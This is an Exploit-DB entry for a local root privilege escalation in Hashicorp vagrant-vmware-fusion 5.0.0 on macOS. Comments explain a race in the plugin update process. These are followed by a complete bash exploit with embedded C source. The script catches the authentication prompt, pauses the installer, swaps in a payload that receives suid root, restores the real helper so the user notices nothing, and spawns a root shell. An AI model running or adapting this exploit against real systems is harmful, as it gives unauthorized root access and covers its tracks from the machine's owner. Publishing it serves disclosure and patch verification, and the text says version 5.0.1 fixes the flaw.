Exploit-DB #43222
Description: Hashicorp vagrant-vmware-fusion 5.0.0 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-12-06
Author: Mark Wadham

Exploit:
# After three CVEs and multiple exploits disclosed to Hashicorp they have finally upped their game with this plugin. Now the previously vulnerable non-root-owned
# ruby code that get executed as root by the sudo helper is no more and the sudo helper itself is one static Go binary with tightly-controlled parameters that
# can't (as far as I can tell) be exploited on its own.

# However I have discovered that the update mechanism in 5.0.0 is not completely safe. There is a bug in the update mechanism for 5.0.0 that makes it reinstall
# the plugin when you run:

# $ vagrant plugin update

# even if there is no update pending. The reinstall includes replacing the sudo helper and re-applying root ownership and the suid bit. This is done via
# osascript with a block of shell as an easy way to show a graphical popup authentication dialog to the user.

# After the credentials are entered and the permissions are applied the installer for the plugin immediately checks the hash of the sudo helper binary and if it
# doesn't match it removes it. On the surface this seemed to make a race condition impossible however after some poking around I found a way to exploit it.

# Because the authentication prompt is a guarantee of at least a few seconds pause in the intallation, we can catch this point in time very easily by scanning the
# process list watching for the invocation of osascript. Once we see this we can lay a trap by replacing the sudo helper binary with an exploit payload (remember
# this is always in a non-root-owned directory).

# As soon as the privileges are set vagrant will execute its checksum and remove the payload, however because we've caught execution at the right time and
# because the installer is a different process from the osascript process we can send a STOP signal to the installer to pause its execution. This means osascript
# will set the permissions and then the installer will not immediately remove the binary, giving us time to move our newly suid-root'd payload out of the way, use
# it to obtain root privileges, and then move the real sudo helper back into place and chmod +s it ourselves so that vagrant doesn't realise anything bad has
# happened.

# This all takes place in a second or two so the user is unlikely to notice either. Once this is done we simply send a CONT signal to the installer to allow
# it to continue as normal. The plugin is installed correctly with the right permissions, the user didn't see any errors or warnings, and we have an suid
# root payload that we can execute to spawn a root shell.

# This issue is fixed in version 5.0.1.

# https://m4.rkw.io/vagrant_vmware_privesc_5.0.0.sh.txt
# cdbdf9e620eba0d897a3ef92b6872dbb0b194eaf548c23953a42678a566f71f0
# -------------------------------------------------------------------------------
#!/bin/bash
echo "########################################"
echo "vagrant_vmware_fusion 5.0.0 root privesc"
echo "by m4rkw"
echo "########################################"
echo
echo "compiling..."

cat > vvf.c <<EOF
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int ac, char *av[])
{
  setuid(0);
  seteuid(0);
  if (ac > 1) {
    system("chown root vagrant_vmware_desktop_sudo_helper_darwin_amd64");
    system("chmod 4755 vagrant_vmware_desktop_sudo_helper_darwin_amd64");
    return 0;
  }
  system("rm -f /tmp/vvf_exp");
  execl("/bin/bash","bash",NULL);
  return 0;
}
EOF

gcc -o /tmp/vvf_exp vvf.c
rm -f vvf.c

echo "waiting for user to initiate vagrant plugin update..."

while :
do
  r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant_vmware_desktop_sudo_helper_darwin_amd64'`
  if [ "$r" != "" ] ; then
    break
  fi
done

pid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64' |grep -v grep |xargs -L1 |cut -d ' ' -f2`

echo "pausing installer..."

kill -STOP $pid

cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.0/bin

echo "dropping payload in place of sudo helper binary..."

mv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64 vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig
mv -f /tmp/vvf_exp vagrant_vmware_desktop_sudo_helper_darwin_amd64

echo "waiting for suid..."

while :
do
  r=`ls -la vagrant_vmware_desktop_sudo_helper_darwin_amd64 |grep -- '-rwsr-xr-x' |grep root`
  if [ "$r" != "" ] ; then
    echo "moving the real helper back into place..."
    mv -f ./vagrant_vmware_desktop_sudo_helper_darwin_amd64 /tmp/vvf_exp
    mv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig vagrant_vmware_desktop_sudo_helper_darwin_amd64

    echo "fixing perms..."
    /tmp/vvf_exp 1

    echo "allow vagrant to continue..."
    kill -CONT $pid

    echo "spawning shell..."
    /tmp/vvf_exp
    exit 0
  fi
done